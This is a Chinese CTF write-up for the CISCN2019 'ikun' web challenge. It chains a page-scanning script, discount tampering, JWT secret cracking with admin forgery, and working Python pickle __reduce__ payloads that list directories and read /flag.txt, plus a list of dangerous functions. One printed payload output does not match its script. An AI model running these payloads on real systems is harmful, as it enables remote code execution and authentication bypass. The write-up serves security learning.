HacKerQWQ的博客空间

pickle远程代码执行+jwt+逻辑漏洞[CISCN2019 华北赛区 Day1 Web2]ikun

Word count: 1.4kReading time: 5 min
2020/12/08 Share

[CISCN2019 华北赛区 Day1 Web2]ikun

好家伙,我直接好家伙,这题出的不错,学到了,记录一下

python脚本找lv6.png


上来就是给kunkun应援,热血起来了
回归正题,源代码提示要我们找到lv6.png
同时主页有翻页功能,url为**shop?page=**
那就写一个python脚本逐页找lv6.png

1
2
3
4
5
6
import requests
for i in range(200):
url='http://70a35b89-8044-4dd2-8a10-f6c98daa9a70.node3.buuoj.cn/shop?page='+str(i)
result=requests.get(url).text
if '/static/img/lv/lv6.png' in result:
print (url)

找到在181页

利用逻辑漏洞改折扣


要收钱的,不讲武德

直接burp改折扣

然后看到这个页面,需要admin才能查看

一看cookie,是jwt,那没事了,用c-jwt-cracker得到密钥,然后把username改成admin就行了


到下一步了,只显示一个admin,查看源代码发现有www.zip

利用pickle的反序列化漏洞

把源码下载下来,发现admin.py存在python的pickle反序列化远程代码执行漏洞

可以看到post方法获取become参数,对其进行url解码,并且用pickle进行反序列化,将结果通过form.html的res参数显示出来,那我们就需要控制这个become执行我们所需要的代码

以下是pickle库的介绍:
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化后的数据,可读性差,人一般无法识别。

以下是pickle最常用的函数

  1. pickle.dump(obj, file, [,protocol])
    1
    2
    3
    4
    5
    6
    7
     函数的功能:将obj对象序列化存入已经打开的file中。

    参数讲解:

    obj:想要序列化的obj对象。
    file:文件名称。
    protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
  2. pickle.load(file)
    1
    2
    3
    4
    5
       函数的功能:将file中的对象序列化读出。

    参数讲解:

    file:文件名称。
  3. pickle.dumps(obj[, protocol])
    1
    2
    3
    4
    5
    6
     函数的功能:将obj对象序列化为string形式,而不是存入文件中。

    参数讲解:

    obj:想要序列化的obj对象。
    protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
  4. pickle.loads(string)
    1
    2
    3
    4
    5
    6
    7
    函数的功能:从string中读出序列化前的obj对象。

    参数讲解:

    string:文件名称。

    【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
    检测反序列化方法:
    1
    全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。
    这里搜cPickle或者pickle都可以,一个库不同名字
    防御方法:
    1
    2
    3
    1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法;

    2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。
    pickle更多用法

下面说__reduce__方法

简单点来说其实相当于php的unserialize函数,只不过返回值变成了元组,第一个参数是调用的函数,第二个参数是调用函数的参数,我的理解是php的call_user_function_array
pickle更多魔术方法

这样我们就可以写python脚本,由于通过观察www.zip里面的源码,可以发现python都是用python2写的(所以说观察仔细很重要),所以我们的脚本也要用python2来写,python3会有问题,同时最好放到linux环境运行
先看看根目录有什么

1
2
3
4
5
6
7
8
9
10
11
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (os.listdir,("/",))

a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))

这里之所以能用os是看到了www.zip里面有import os,但是后来才知道其实是不用的,因为pickle.loads是会自动import没有的module的,具体参考先知社区的这篇文章,写的太好了,也有pickle的其他利用方法先知社区文章
大概是这些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

上面输出

1
cposix%0Alistdir%0Ap0%0A%28S%27/%27%0Ap1%0Atp2%0ARp3%0A.

点击这个一键称为大会员
然后把become改成我们的payload

看到有flag.txt
继续构造payload读取

1
2
3
4
5
6
7
8
9
10
11
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))

输出

1
c__builtin__%0Aeval%0Ap0%0A%28S%22os.system%28%27ls%27%29%22%0Ap1%0Atp2%0ARp3%0A.

总结

逻辑漏洞+jwt验证绕过+pickle反序列化漏洞组合拳,学到了学到了

pickle更多利用方法

https://xz.aliyun.com/t/2289?spm=5176.12901015.0.i12901015.7acc525ctZ0oSU
https://www.cnblogs.com/tr1ple/p/9401677.html

os库的更多用法

https://docs.python.org/zh-cn/3/library/os.html

CATALOG
  1. 1. [CISCN2019 华北赛区 Day1 Web2]ikun
    1. 1.1. python脚本找lv6.png
    2. 1.2. 利用逻辑漏洞改折扣
    3. 1.3. 利用pickle的反序列化漏洞
    4. 1.4. 总结
    5. 1.5. pickle更多利用方法
    6. 1.6. os库的更多用法